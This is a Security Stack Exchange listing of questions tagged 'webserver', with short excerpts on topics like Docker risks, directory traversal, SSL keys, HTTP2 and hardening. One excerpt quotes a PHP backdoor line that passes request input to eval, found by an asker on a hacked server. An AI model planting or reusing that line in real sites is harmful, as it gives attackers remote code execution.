Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [webserver]

A system whose primary function is to deliver web pages on request to clients.

0
votes
1answer
381 views

Potential added risks of using Docker in production servers

What are the added security risks of using a dockerized container to deploy a production server? Not interested in risks that would exist anyway in deploying a production server the traditional way,...
1
vote
7answers
1k views

How to protect unauthorized logins in case DB server gets compromised?

Generally what happens when an user registers to a web app is that their passwords get hashed well, so even if a DB leak happens, getting the original password is not feasible. But what happens if an ...
0
votes
2answers
1k views

Directory traversal in a URL?

Scenario: I have a webserver running nginx. I have my html files in /var/www/ and pictures in /var/www/pictures/ However, I also have some secret pictures in /var/www/pictures/secretpics/ which I ...
0
votes
1answer
3k views

How to store openssl CA private key securely [duplicate]

We are in the phase of implementing SSL certificates for UI access to our components (we have an internal Root CA to whom we send the CSR generated in openSSL) and we're wondering where would be the ...
1
vote
0answers
45 views

apache access log grew smaller [closed]

I used this command twice in the same day: grep'21/Aug/2017:'/var/log/apache2/access.log | awk '{print $1}' | sort - k2nr | uniq -c |wc -l and first time it returned a number bigger than the second ...
3
votes
0answers
330 views

Memory and CPU usage during a denial of service attack. How to understand the data?

The Debian crontab file that is a web server Apache has the line: */2 * * * * echo -e "`date`\n\n`free` \n\n`vmstat`\n" >> /home/hacker/free_vmstat_output.txt I ...
0
votes
1answer
125 views

Is Hamachi on a Linux production server a big system vulnerability?

The production server I am administrating can only be accessed through the company-network. However, if I have to do maintenance while not in the office, I can't access the server. Could I let ...
3
votes
2answers
275 views

Why do login forms still use 'name = “pass”' or similar?

Given that there are many password sniffing MitM scripts out there that comb traffic for key-phrases like "pass" and "password". Why do manufacturers keep the same variable names and make it easy for ...
0
votes
3answers
268 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
0
votes
3answers
750 views

Is Open Port 25 on Web Server dangerous?

Port 25 of a web server is open. We dont have any email server, since we use google mail server, but still port 25 is open. Is it dangerous to keep it open? If it can be attacked then how it can be ...
29
votes
2answers
4k views

What are possible security problems of enabling HTTP2?

I want to enable HTTP2 for several web servers but I'm worried about the possible security implications. I think about something like: HTTP2 implementations are maybe more error prone than mature ...
3
votes
1answer
235 views

Why would an attacker authenticate to my Google Search Console?

Someone uploaded (I don't know how how but I think via my Wordpress which was outdated for just a day...) a Google Search Console authentication to my server. I just realized this because Google ...
0
votes
1answer
590 views

Alternatives to basic and digest authentication in HTTP when resources are constrained

I'm currently implementing a small webserver on an embedded platform which is quite resource-constrained. I am planning to use unsecured communication because TLS might not be possible in my embedded ...
0
votes
0answers
400 views

Is it a good idea to have a nextcloud exposed host?

I have a Raspberry Pi with this nextcloud for Raspberry image. I've configured my router to open port 80 and 443 for the Raspy. I'm using https only and certificates from letsencrypt. How big is the ...
5
votes
1answer
3k views

Apache - strange requests in logs

I'm running webserver on Debian8 64bit (2.6.32-042stab120.16) with Apache/2.4.10. Today in Apache access.log I found these entries: 164.52.7.132 - - [26/Jun/2017:07:16:23 -0400] "\x16\x03\x01\x01\"\...
4
votes
3answers
192 views

Practically, when good password policies are used, how much is gained from SSH keys? [duplicate]

Background: I am running my own servers for personal use, I have complete control over all passwords used and for the foreseeable future things will stay this way. I understand the arguments for why ...
1
vote
1answer
517 views

How to encrypt sensitive user data and transport it between client and server securely?

I'll try to be as brief as straight to the point as possible, i'm new to this so please bare with me! I might be committing a massive mistake and not even realised! Please HELP! [facepalm emoji] ...
5
votes
1answer
110 views

What is the proper terminology and base CVSS score for the following cache related behaviour?

An interface (website/application) that requires authentication should have a proper HTTP caching mechanism. When it doesn't, it allows an attacker to browse back after logout or read the cache in ...
1
vote
1answer
968 views

Pre-shared key authentication between webservers for some security

I have a front-end web server that's calling an API on another web server using GET requests (both hosted by me). It's not critical that outsiders cannot use the API, but I would like to make it ...
2
votes
0answers
83 views

How to securely manage generating files on the client-side to download

While searching for a way to convert an HTML table to .CSV file, I found there are 2 ways to generate files to download on the client side with JavaScript: using data URLs by generating the file on ...
2
votes
2answers
205 views

Does an unused ftp account pose a security risk?

I'm using BlueHost and have a few websites on my hosting. I decided to stop being lazy and start implementing some better security policies on my own part. Since FTP isn't secure, I changed to SFTP. ...
3
votes
1answer
136 views

Security implications of a missing SCSV, but with only TLS 1.2 allowed

Similar to this security stackexchange question, I was wondering if there's any downside, considering the services/servers security, if only TLS 1.2 allowed, but TLS Fallback Signaling Cipher Suite ...
1
vote
3answers
93 views

Security of a website - shared hosting

If I host my website in a shared hosting, then do i need to worry about how much secure other websites are which are hosted in the same server? My website developer is saying so and he is advising me ...
2
votes
6answers
2k views

Downloading a file from a server with a secret: in text or binary?

Suppose, a user can click a button on a website and downloads a file with a secret. Via ajax. Is it more secure if a server generates that file and sends it as 1) zip, tar or the like -- a binary ...
2
votes
1answer
462 views

Connection timeout error using HTTP Status Code Checkers on a website [closed]

PROBLEM When I use online tools to test www.bestbuy.com URL's, I get a timeout connection error. By online tools I mean HTTP Status Code Checkers or Redirection Checkers. EXPECTED BEHAVIOUR I ...
10
votes
1answer
2k views

What security advantages does Hashicorp Vault have over storing secrets (passwords, API keys) in environment variables?

There seems to be a general recommendation to store secrets in the Hashicorp Vault instance (or similar key-management software) and avoid passing secrets via environment variables. In what particular ...
0
votes
4answers
152 views

Security risks other than those [closed]

I'm working on ASP.NET core MVC website, and I don't know if I'm missing any security risks that I need to watch out for (other than logical ones) Here is a list of what I've studied and what I've ...
0
votes
1answer
863 views

Website uses an unsupported protocol. ERR_SSL_VERSION_OR_CIPHER_MISMATCH

I just installed a new wildcard certificate on my Ubuntu server (there was a single certificate installed before). I modified /etc/apache2/sites-available/000-default.conf which is for one specific ...
1
vote
1answer
560 views

Host header attacks: Possible exploits

We have an API server hosted with amazon elb. The server has only one virtual host and hence it doesn't enforce Host header. But if we manually add a Host header along with the request with a valid ...
1
vote
2answers
188 views

Should I be concerned with fake accounts registered on my website?

I own a website ( Ostetso ) that is targeted at iOS app developers. We provide cloud services for developers who want to add a social network into their apps. On the website, users can download our ...
1
vote
1answer
62 views

Best practice / Risk Assessment payment websites

I have two websites which do both accept payments on a subdomain. The subdomain is an independent system from the main website. I have a question regarding the best practice to decide which of the ...
75
votes
6answers
10k views

Should I reject a CSR when the host emailed me the private key for SSL certificate request?

I just requested a CSR from my shared web hosting provider, to generate a certificate which I will send back to them to install. (The certificate itself is to be generated properly by an organisation ...
0
votes
1answer
329 views

Is only using one IP address version (IPv4/IPv6) an availability risk?

Most websites configure their domain name server records only with A records for the use in IPv4 networks only. Some websites have configured AAAA records as well for use in IPv6 networks, using both ...
1
vote
0answers
21 views

How can I study/replicate multiple vulnerability types in a specific software?

I'm interested in studying the effects (crashes, signals sent, logs, etc.) of different types of exploited vulnerabilities (DoS, ROP, remote shells, etc.) in specific software (particularly webservers ...
6
votes
1answer
241 views

Multiple SSL certificates on load balancer

We are discussing with our Operations department about wildcard SSL certificates. Our purpose is to forbid all wildcard certificate (like *.domain.com) for internet exposed web application because of ...
2
votes
2answers
465 views

Should I publish IP addresses that try to brute force my private web server?

Ethically and legally, am I allowed to publish IP addresses that tried to brute force my LAMP server? It's a personal website/blog that gets brute forced a lot and I would like to publish them to my ...
2
votes
0answers
124 views

Developing hidden onion servers [closed]

I was wondering which language is best to build a .onion website (PHP, Python, ...). Which language is more secure and which frameworks are more secure? Is it a good idea to use CSS (Cascading Style ...
1
vote
3answers
235 views

How to defend against a CSRF from the same website?

All of the solutions (use of tokens, for example) I have seen so far detail how to prevent a CSRF from an external website i.e. prevent a CSRF from evil.com to victim.com. However, how would one ...
2
votes
2answers
279 views

Best guide/reference/roadmap for server penetration testing [closed]

I have been assigned to pen test some servers and have been provided the IPs of the same. In my past I have worked on application security testing projects and am aware of OWASP 10, SANS 25 etc. but ...
0
votes
1answer
107 views

Show full path of a downloadable file

On the website of the company I am working for are files, which can be downloaded. On the page, where you can download that file, you can also see the full path on the server itself of the file, e.g. /...
18
votes
1answer
1k views

Why is the Wikileaks site still accessible? How come it hasn't been hacked? [closed]

Let me get started by saying I think Wikileaks is great, and that their work is invaluable. Background/context for this question: The recent Wikileaks data dump on the CIA. I've visited the site ...
5
votes
2answers
2k views

Best practices for securing a public facing web server? [closed]

I'm looking to make a "bare minimum" checklist for securing a public facing Unix web server. Assume it's a LAMP stack (or similar). This list should be what minimums you would implement. Obviously ...
1
vote
2answers
131 views

Why Oracle says following deserialization vulnerabilities are related to HTTP protocol?

According to Oracle website, following deserialization vulnerabilities are related to HTTP protocol. CVE-2015-7501, CVE-2016-5535, CVE-2016-3586, CVE-2016-3510, etc. But I do not understand why ...
2
votes
1answer
216 views

Any known issues with ColdFusion 9 isNumeric check?

I'm probably just being paranoid again about security. The latest thing keeping me up at night is the checks that one of our websites uses. It runs ColdFusion 9 on windows environment and we check a ...
0
votes
2answers
111 views

VPS outbound emails security

I have an instance of VPS running with logrotate that emails me logs every day. It is a send-only SMTP server with Postfix, set up using this guide. I just need to receive the logs from this server. ...
4
votes
0answers
595 views

Do I need DNSSEC from GoDaddy?

I just registered a co.uk domain with GoDaddy. I've been managing domains for a few years now, and hosting my own website. I know a bit, but not enough to be safe with anything important like this. ...
4
votes
5answers
184 views

What is the best way to secure your web resources when you provide API as web service?

Here is the condition: I have a web service API that I am planning to sell as a service. The output of the API contains URI of some resources (say images, videos) that should be accessible to that guy ...
76
votes
8answers
14k views

Is running “apt-get upgrade” every so often enough to keep a Web-server secure?

Assumptions: Normal LAMP Web-server running web app. (Eg. AWS EC2+Apache2+MySQL+Php7) Not directly targeted by some super-hacker or governmental organisation etc. Related to point above, no social ...
1
vote
0answers
631 views

Are BSD jails a “huge security liability”? [closed]

In this 2014 blog post from an apparently anti-BSD blog, the author criticizes BSD jails for being poorly designed and therefore insecure. The opening paragraph reads: If you’re thinking of ...
2
votes
1answer
165 views

Securing connection credentials on a web server

I'm in process of creating a tiny blog platform and I've encountered a pretty controversial topic of storing connection string to a DB securely on a host. Here is a reference question: How to encrypt ...